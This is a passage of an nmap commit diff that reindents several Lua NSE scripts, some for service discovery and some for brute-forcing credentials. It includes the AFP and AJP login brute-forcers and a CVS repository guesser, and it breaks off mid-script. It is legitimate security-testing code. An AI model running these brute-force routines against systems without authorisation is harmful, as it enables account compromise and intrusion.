mirror of
https://github.com/nmap/nmap.git
synced 2025-12-09 06:01:28 +00:00
Reindent some scripts. Whitespace only.
https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
@@ -49,68 +49,68 @@ portrule = shortport.port_or_service (2202, "acarsd", {"tcp"})
|
|||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
|
|
||||||
-- Set timeout
|
-- Set timeout
|
||||||
local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout'])
|
local timeout = tonumber(nmap.registry.args[SCRIPT_NAME .. '.timeout'])
|
||||||
if not timeout or timeout < 0 then timeout = 10 end
|
if not timeout or timeout < 0 then timeout = 10 end
|
||||||
|
|
||||||
-- Set bytes
|
-- Set bytes
|
||||||
local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes'])
|
local bytes = tonumber(nmap.registry.args[SCRIPT_NAME .. '.bytes'])
|
||||||
if not bytes then bytes = 512 else tonumber(bytes) end
|
if not bytes then bytes = 512 else tonumber(bytes) end
|
||||||
|
|
||||||
-- Connect and retrieve acarsd info in XML format over TCP
|
-- Connect and retrieve acarsd info in XML format over TCP
|
||||||
stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
stdnse.print_debug(1, ("%s: Connecting to %s:%s [Timeout: %ss]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, timeout))
|
||||||
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
local status, data = comm.get_banner(host, port, {timeout=timeout*1000,bytes=bytes})
|
||||||
if not status or not data then
|
if not status or not data then
|
||||||
stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Retrieving data from %s:%s failed [Timeout expired]"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if retrieved data is valid acarsd data
|
-- Check if retrieved data is valid acarsd data
|
||||||
if not string.match(data, "acarsd") then
|
if not string.match(data, "acarsd") then
|
||||||
stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: %s:%s is not an acarsd Daemon."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check for restricted access -- Parse daemon info
|
-- Check for restricted access -- Parse daemon info
|
||||||
if string.match(data, "Authorization needed%. If your client doesnt support this") then
|
if string.match(data, "Authorization needed%. If your client doesnt support this") then
|
||||||
|
|
||||||
local version_match = string.match(data, "acarsd\t(.+)\t")
|
local version_match = string.match(data, "acarsd\t(.+)\t")
|
||||||
if version_match then table.insert(result, string.format("Version: %s", version_match)) end
|
if version_match then table.insert(result, string.format("Version: %s", version_match)) end
|
||||||
local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
|
local api_version_match = string.match(data, "acarsd\t.+\t(API.+[0-9][0-9]?)")
|
||||||
if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
|
if api_version_match then table.insert(result, string.format("API Version: %s", api_version_match)) end
|
||||||
table.insert(result, "Authorization Required: 1")
|
table.insert(result, "Authorization Required: 1")
|
||||||
|
|
||||||
-- Check for unrestricted access -- Parse daemon info
|
-- Check for unrestricted access -- Parse daemon info
|
||||||
else
|
else
|
||||||
|
|
||||||
stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
stdnse.print_debug(1, ("%s: Parsing data from %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
|
||||||
local vars = {
|
local vars = {
|
||||||
{"Version","Version"},
|
{"Version","Version"},
|
||||||
{"API Version","APIVersion"},
|
{"API Version","APIVersion"},
|
||||||
--{"Hostname","Hostname"},
|
--{"Hostname","Hostname"},
|
||||||
--{"Port","Port"},
|
--{"Port","Port"},
|
||||||
--{"Server UUID","ServerUUID"},
|
--{"Server UUID","ServerUUID"},
|
||||||
{"Authorization Required","NeedAuth"},
|
{"Authorization Required","NeedAuth"},
|
||||||
{"Admin E-mail","AdminMail"},
|
{"Admin E-mail","AdminMail"},
|
||||||
{"Clients Connected","ClientsConnected"},
|
{"Clients Connected","ClientsConnected"},
|
||||||
{"Frequency","Frequency"},
|
{"Frequency","Frequency"},
|
||||||
{"License","License"},
|
{"License","License"},
|
||||||
}
|
}
|
||||||
for _, var in ipairs(vars) do
|
for _, var in ipairs(vars) do
|
||||||
local tag = var[2]
|
local tag = var[2]
|
||||||
local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
|
local var_match = string.match(data, string.format('<%s>(.+)</%s>', tag, tag))
|
||||||
if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&", "&"))) end
|
if var_match then table.insert(result, string.format("%s: %s", var[1], string.gsub(var_match, "&", "&"))) end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
port.version.name = "acarsd"
|
port.version.name = "acarsd"
|
||||||
port.version.product = "ACARS Decoder"
|
port.version.product = "ACARS Decoder"
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
|
|
||||||
-- Return results
|
-- Return results
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -51,61 +51,61 @@ portrule = shortport.port_or_service(548, "afp")
|
|||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result, response, status = {}, nil, nil
|
local result, response, status = {}, nil, nil
|
||||||
local valid_accounts, found_users = {}, {}
|
local valid_accounts, found_users = {}, {}
|
||||||
local helper
|
local helper
|
||||||
local usernames, passwords
|
local usernames, passwords
|
||||||
|
|
||||||
status, usernames = unpwdb.usernames()
|
status, usernames = unpwdb.usernames()
|
||||||
if not status then return end
|
if not status then return end
|
||||||
|
|
||||||
status, passwords = unpwdb.passwords()
|
status, passwords = unpwdb.passwords()
|
||||||
if not status then return end
|
if not status then return end
|
||||||
|
|
||||||
for password in passwords do
|
for password in passwords do
|
||||||
for username in usernames do
|
for username in usernames do
|
||||||
if ( not(found_users[username]) ) then
|
if ( not(found_users[username]) ) then
|
||||||
|
|
||||||
helper = afp.Helper:new()
|
helper = afp.Helper:new()
|
||||||
status, response = helper:OpenSession( host, port )
|
status, response = helper:OpenSession( host, port )
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
stdnse.print_debug("OpenSession failed")
|
stdnse.print_debug("OpenSession failed")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
|
||||||
status, response = helper:Login( username, password )
|
status, response = helper:Login( username, password )
|
||||||
|
|
||||||
-- if the response is "Parameter error." we're dealing with Netatalk
|
-- if the response is "Parameter error." we're dealing with Netatalk
|
||||||
-- This basically means that the user account does not exist
|
-- This basically means that the user account does not exist
|
||||||
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
|
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
|
||||||
if response:match("Parameter error.") then
|
if response:match("Parameter error.") then
|
||||||
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
|
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
|
||||||
-- mark it as "found" to skip it
|
-- mark it as "found" to skip it
|
||||||
found_users[username] = true
|
found_users[username] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
if status then
|
if status then
|
||||||
-- Add credentials for other afp scripts to use
|
-- Add credentials for other afp scripts to use
|
||||||
if nmap.registry.afp == nil then
|
if nmap.registry.afp == nil then
|
||||||
nmap.registry.afp = {}
|
nmap.registry.afp = {}
|
||||||
end
|
end
|
||||||
nmap.registry.afp[username]=password
|
nmap.registry.afp[username]=password
|
||||||
found_users[username] = true
|
found_users[username] = true
|
||||||
|
|
||||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
helper:CloseSession()
|
helper:CloseSession()
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
usernames("reset")
|
usernames("reset")
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = stdnse.format_output(true, valid_accounts)
|
local output = stdnse.format_output(true, valid_accounts)
|
||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -39,74 +39,74 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|||||||
|
|
||||||
Driver = {
|
Driver = {
|
||||||
|
|
||||||
new = function(self, host, port, options)
|
new = function(self, host, port, options)
|
||||||
local o = { host = host,
|
local o = { host = host,
|
||||||
port = port,
|
port = port,
|
||||||
options = options,
|
options = options,
|
||||||
helper = ajp.Helper:new(host, port)
|
helper = ajp.Helper:new(host, port)
|
||||||
}
|
}
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function(self)
|
connect = function(self)
|
||||||
return self.helper:connect()
|
return self.helper:connect()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function(self)
|
disconnect = function(self)
|
||||||
return self.helper:close()
|
return self.helper:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function(self, user, pass)
|
login = function(self, user, pass)
|
||||||
local headers = {
|
local headers = {
|
||||||
["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
|
["Authorization"] = ("Basic %s"):format(base64.enc(user .. ":" .. pass))
|
||||||
}
|
}
|
||||||
local status, response = self.helper:get(arg_url, headers)
|
local status, response = self.helper:get(arg_url, headers)
|
||||||
|
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( response )
|
local err = brute.Error:new( response )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
elseif( response.status ~= 401 ) then
|
elseif( response.status ~= 401 ) then
|
||||||
return true, brute.Account:new(user, pass, creds.State.VALID)
|
return true, brute.Account:new(user, pass, creds.State.VALID)
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = ajp.Helper:new(host, port)
|
local helper = ajp.Helper:new(host, port)
|
||||||
if ( not(helper:connect()) ) then
|
if ( not(helper:connect()) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:get(arg_url)
|
local status, response = helper:get(arg_url)
|
||||||
if ( not(response.headers['www-authenticate']) ) then
|
if ( not(response.headers['www-authenticate']) ) then
|
||||||
return "\n URL does not require authentication"
|
return "\n URL does not require authentication"
|
||||||
end
|
end
|
||||||
|
|
||||||
local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
|
local challenges = http.parse_www_authenticate(response.headers['www-authenticate'])
|
||||||
local options = { scheme = nil }
|
local options = { scheme = nil }
|
||||||
for _, challenge in ipairs(challenges or {}) do
|
for _, challenge in ipairs(challenges or {}) do
|
||||||
if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
|
if ( challenge and challenge.scheme and challenge.scheme:lower() == "basic") then
|
||||||
options.scheme = challenge.scheme:lower()
|
options.scheme = challenge.scheme:lower()
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(options.scheme) ) then
|
if ( not(options.scheme) ) then
|
||||||
return fail("Could not find a supported authentication scheme")
|
return fail("Could not find a supported authentication scheme")
|
||||||
end
|
end
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port )
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -37,16 +37,16 @@ categories = {"broadcast", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
if not nmap.is_privileged() then
|
if not nmap.is_privileged() then
|
||||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if nmap.address_family() ~= 'inet6' then
|
if nmap.address_family() ~= 'inet6' then
|
||||||
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Gets a list of available interfaces based on link and up filters
|
-- Gets a list of available interfaces based on link and up filters
|
||||||
@@ -55,64 +55,64 @@ end
|
|||||||
-- @param up string containing the interface status to filter
|
-- @param up string containing the interface status to filter
|
||||||
-- @return result table containing the matching interfaces
|
-- @return result table containing the matching interfaces
|
||||||
local function getInterfaces(link, up)
|
local function getInterfaces(link, up)
|
||||||
if( not(nmap.list_interfaces) ) then return end
|
if( not(nmap.list_interfaces) ) then return end
|
||||||
local interfaces, err = nmap.list_interfaces()
|
local interfaces, err = nmap.list_interfaces()
|
||||||
local result
|
local result
|
||||||
if ( not(err) ) then
|
if ( not(err) ) then
|
||||||
for _, iface in ipairs(interfaces) do
|
for _, iface in ipairs(interfaces) do
|
||||||
if ( iface.link == link and iface.up == up ) then
|
if ( iface.link == link and iface.up == up ) then
|
||||||
result = result or {}
|
result = result or {}
|
||||||
result[iface.device] = true
|
result[iface.device] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
local function solicit(iface, result)
|
local function solicit(iface, result)
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
local helper = dhcp6.Helper:new(iface)
|
local helper = dhcp6.Helper:new(iface)
|
||||||
if ( not(helper) ) then
|
if ( not(helper) ) then
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:solicit()
|
local status, response = helper:solicit()
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
response.name=("Interface: %s"):format(iface)
|
response.name=("Interface: %s"):format(iface)
|
||||||
table.insert(result, response )
|
table.insert(result, response )
|
||||||
end
|
end
|
||||||
condvar "signal"
|
condvar "signal"
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local iface = nmap.get_interface()
|
local iface = nmap.get_interface()
|
||||||
local ifs, result, threads = {}, {}, {}
|
local ifs, result, threads = {}, {}, {}
|
||||||
local condvar = nmap.condvar(result)
|
local condvar = nmap.condvar(result)
|
||||||
|
|
||||||
if ( iface ) then
|
if ( iface ) then
|
||||||
ifs[iface] = true
|
ifs[iface] = true
|
||||||
else
|
else
|
||||||
ifs = getInterfaces("ethernet", "up")
|
ifs = getInterfaces("ethernet", "up")
|
||||||
end
|
end
|
||||||
|
|
||||||
for iface in pairs(ifs) do
|
for iface in pairs(ifs) do
|
||||||
local co = stdnse.new_thread( solicit, iface, result )
|
local co = stdnse.new_thread( solicit, iface, result )
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- wait until the probes are all done
|
-- wait until the probes are all done
|
||||||
repeat
|
repeat
|
||||||
for thread in pairs(threads) do
|
for thread in pairs(threads) do
|
||||||
if coroutine.status(thread) == "dead" then
|
if coroutine.status(thread) == "dead" then
|
||||||
threads[thread] = nil
|
threads[thread] = nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if ( next(threads) ) then
|
if ( next(threads) ) then
|
||||||
condvar "wait"
|
condvar "wait"
|
||||||
end
|
end
|
||||||
until next(threads) == nil
|
until next(threads) == nil
|
||||||
|
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -61,54 +61,54 @@ prerule = function() return true end
|
|||||||
-- converted to Yes/No; if the value is nil, nothing is added to the table.
|
-- converted to Yes/No; if the value is nil, nothing is added to the table.
|
||||||
local function add_to_output_table( outputTable, outputLabel, outputData )
|
local function add_to_output_table( outputTable, outputLabel, outputData )
|
||||||
|
|
||||||
if outputData ~= nil then
|
if outputData ~= nil then
|
||||||
if outputData == true then
|
if outputData == true then
|
||||||
outputData = "Yes"
|
outputData = "Yes"
|
||||||
elseif outputData == false then
|
elseif outputData == false then
|
||||||
outputData = "No"
|
outputData = "No"
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
table.insert(outputTable, string.format( "%s: %s", outputLabel, outputData ) )
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Returns formatted output for the given instance
|
--- Returns formatted output for the given instance
|
||||||
local function create_instance_output_table( instance )
|
local function create_instance_output_table( instance )
|
||||||
|
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
|
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
add_to_output_table( instanceOutput, "Name", instance.instanceName )
|
add_to_output_table( instanceOutput, "Name", instance.instanceName )
|
||||||
if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
|
if instance.version then add_to_output_table( instanceOutput, "Product", instance.version.productName ) end
|
||||||
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
if instance.port then add_to_output_table( instanceOutput, "TCP port", instance.port.number ) end
|
||||||
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
add_to_output_table( instanceOutput, "Named pipe", instance.pipeName )
|
||||||
|
|
||||||
return instanceOutput
|
return instanceOutput
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local host = { ip = "255.255.255.255" }
|
local host = { ip = "255.255.255.255" }
|
||||||
local port = { number = 1434, protocol = "udp" }
|
local port = { number = 1434, protocol = "udp" }
|
||||||
|
|
||||||
local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
|
local status, result = mssql.Helper.DiscoverBySsrp(host, port, true)
|
||||||
if ( not(status) ) then return end
|
if ( not(status) ) then return end
|
||||||
|
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
for ip, instanceList in pairs(result) do
|
for ip, instanceList in pairs(result) do
|
||||||
local serverOutput, serverName = {}, nil
|
local serverOutput, serverName = {}, nil
|
||||||
target.add( ip )
|
target.add( ip )
|
||||||
for _, instance in ipairs( instanceList ) do
|
for _, instance in ipairs( instanceList ) do
|
||||||
serverName = serverName or instance.serverName
|
serverName = serverName or instance.serverName
|
||||||
local instanceOutput = create_instance_output_table( instance )
|
local instanceOutput = create_instance_output_table( instance )
|
||||||
table.insert(serverOutput, instanceOutput)
|
table.insert(serverOutput, instanceOutput)
|
||||||
end
|
end
|
||||||
serverOutput.name = string.format( "%s (%s)", ip, serverName )
|
serverOutput.name = string.format( "%s (%s)", ip, serverName )
|
||||||
table.insert( scriptOutput, serverOutput )
|
table.insert( scriptOutput, serverOutput )
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output( true, scriptOutput )
|
return stdnse.format_output( true, scriptOutput )
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -36,37 +36,37 @@ categories = {"broadcast", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
prerule = function()
|
prerule = function()
|
||||||
if not nmap.is_privileged() then
|
if not nmap.is_privileged() then
|
||||||
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
local function fail(err)
|
local function fail(err)
|
||||||
if ( err ) then
|
if ( err ) then
|
||||||
return ("\n ERROR: %s"):format(err)
|
return ("\n ERROR: %s"):format(err)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function discoverPPPoE(helper)
|
local function discoverPPPoE(helper)
|
||||||
|
|
||||||
local status, err = helper:connect()
|
local status, err = helper:connect()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, pado = helper:discoverInit()
|
local status, pado = helper:discoverInit()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, pado
|
return false, pado
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = helper:discoverRequest()
|
status, err = helper:discoverRequest()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, pado
|
return true, pado
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Gets a list of available interfaces based on link and up filters
|
-- Gets a list of available interfaces based on link and up filters
|
||||||
@@ -75,53 +75,53 @@ end
|
|||||||
-- @param up string containing the interface status to filter
|
-- @param up string containing the interface status to filter
|
||||||
-- @return result table containing the matching interfaces
|
-- @return result table containing the matching interfaces
|
||||||
local function getInterfaces(link, up)
|
local function getInterfaces(link, up)
|
||||||
if( not(nmap.list_interfaces) ) then return end
|
if( not(nmap.list_interfaces) ) then return end
|
||||||
local interfaces, err = nmap.list_interfaces()
|
local interfaces, err = nmap.list_interfaces()
|
||||||
local result
|
local result
|
||||||
if ( not(err) ) then
|
if ( not(err) ) then
|
||||||
for _, iface in ipairs(interfaces) do
|
for _, iface in ipairs(interfaces) do
|
||||||
if ( iface.link == link and iface.up == up ) then
|
if ( iface.link == link and iface.up == up ) then
|
||||||
result = result or {}
|
result = result or {}
|
||||||
result[iface.device] = true
|
result[iface.device] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function()
|
action = function()
|
||||||
|
|
||||||
local interfaces
|
local interfaces
|
||||||
|
|
||||||
-- first check if the user supplied an interface
|
-- first check if the user supplied an interface
|
||||||
if ( nmap.get_interface() ) then
|
if ( nmap.get_interface() ) then
|
||||||
interfaces = { [nmap.get_interface()] = true }
|
interfaces = { [nmap.get_interface()] = true }
|
||||||
else
|
else
|
||||||
interfaces = getInterfaces("ethernet", "up")
|
interfaces = getInterfaces("ethernet", "up")
|
||||||
end
|
end
|
||||||
|
|
||||||
for iface in pairs(interfaces) do
|
for iface in pairs(interfaces) do
|
||||||
local helper, err = pppoe.Helper:new(iface)
|
local helper, err = pppoe.Helper:new(iface)
|
||||||
if ( not(helper) ) then
|
if ( not(helper) ) then
|
||||||
return fail(err)
|
return fail(err)
|
||||||
end
|
end
|
||||||
local status, pado = discoverPPPoE(helper)
|
local status, pado = discoverPPPoE(helper)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(pado)
|
return fail(pado)
|
||||||
end
|
end
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
|
local output = { name = ("Server: %s"):format(stdnse.format_mac(pado.mac_srv)) }
|
||||||
table.insert(output, ("Version: %d"):format(pado.header.version))
|
table.insert(output, ("Version: %d"):format(pado.header.version))
|
||||||
table.insert(output, ("Type: %d"):format(pado.header.type))
|
table.insert(output, ("Type: %d"):format(pado.header.type))
|
||||||
|
|
||||||
local tags = { name = "TAGs" }
|
local tags = { name = "TAGs" }
|
||||||
for _, tag in ipairs(pado.tags) do
|
for _, tag in ipairs(pado.tags) do
|
||||||
local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
|
local name, val = pppoe.PPPoE.TagName[tag.tag], tag.decoded
|
||||||
table.insert(tags, ("%s: %s"):format(name, val))
|
table.insert(tags, ("%s: %s"):format(name, val))
|
||||||
end
|
end
|
||||||
table.insert(output, tags)
|
table.insert(output, tags)
|
||||||
|
|
||||||
return stdnse.format_output(true, output)
|
return stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -47,83 +47,83 @@ portrule = shortport.port_or_service(2401, "cvspserver")
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
new = function(self, host, port )
|
new = function(self, host, port )
|
||||||
local o = { host = host, helper = cvs.Helper:new(host, port) }
|
local o = { host = host, helper = cvs.Helper:new(host, port) }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.helper:connect()
|
self.helper:connect()
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
username = ""
|
username = ""
|
||||||
if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
|
if ( password:sub(1,1) ~= "/" ) then password = "/" .. password end
|
||||||
local status, err = self.helper:login( password, "repository", "repository" )
|
local status, err = self.helper:login( password, "repository", "repository" )
|
||||||
if ( not(status) and err:match("I HATE YOU") ) then
|
if ( not(status) and err:match("I HATE YOU") ) then
|
||||||
-- let's store the repositories in the registry so the brute
|
-- let's store the repositories in the registry so the brute
|
||||||
-- script can use them later.
|
-- script can use them later.
|
||||||
self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
|
self.host.registry.cvs_repos = self.host.registry.cvs_repos or {}
|
||||||
table.insert(self.host.registry.cvs_repos, password)
|
table.insert(self.host.registry.cvs_repos, password)
|
||||||
return true, brute.Account:new(username, password, 0)
|
return true, brute.Account:new(username, password, 0)
|
||||||
end
|
end
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.helper:close()
|
self.helper:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
|
|
||||||
-- a list of "common" repository names:
|
-- a list of "common" repository names:
|
||||||
-- the first two are Debian/Ubuntu default names
|
-- the first two are Debian/Ubuntu default names
|
||||||
-- the rest were found during tests or in google searches
|
-- the rest were found during tests or in google searches
|
||||||
local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
|
local repos = {"myrepos", "demo", "cvs", "cvsroot", "prod", "src", "test",
|
||||||
"source", "devel", "cvsroot", "/var/lib/cvsroot",
|
"source", "devel", "cvsroot", "/var/lib/cvsroot",
|
||||||
"cvs-repository", "/home/cvsroot", "/var/cvs",
|
"cvs-repository", "/home/cvsroot", "/var/cvs",
|
||||||
"/usr/local/cvs"}
|
"/usr/local/cvs"}
|
||||||
|
|
||||||
local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
|
local repofile = stdnse.get_script_args("cvs-brute-repository.repofile")
|
||||||
local f
|
local f
|
||||||
|
|
||||||
if ( repofile ) then
|
if ( repofile ) then
|
||||||
f = io.open( repofile, "r" )
|
f = io.open( repofile, "r" )
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
|
return ("\n ERROR: Failed to open repository file: %s"):format(repofile)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local function repository_iterator()
|
local function repository_iterator()
|
||||||
local function next_repo()
|
local function next_repo()
|
||||||
for line in f:lines() do
|
for line in f:lines() do
|
||||||
if ( not(line:match("#!comment")) ) then
|
if ( not(line:match("#!comment")) ) then
|
||||||
coroutine.yield("", line)
|
coroutine.yield("", line)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
while(true) do coroutine.yield(nil, nil) end
|
while(true) do coroutine.yield(nil, nil) end
|
||||||
end
|
end
|
||||||
return coroutine.wrap(next_repo)
|
return coroutine.wrap(next_repo)
|
||||||
end
|
end
|
||||||
|
|
||||||
engine.options:setTitle("Repositories")
|
engine.options:setTitle("Repositories")
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
engine.options.passonly = true
|
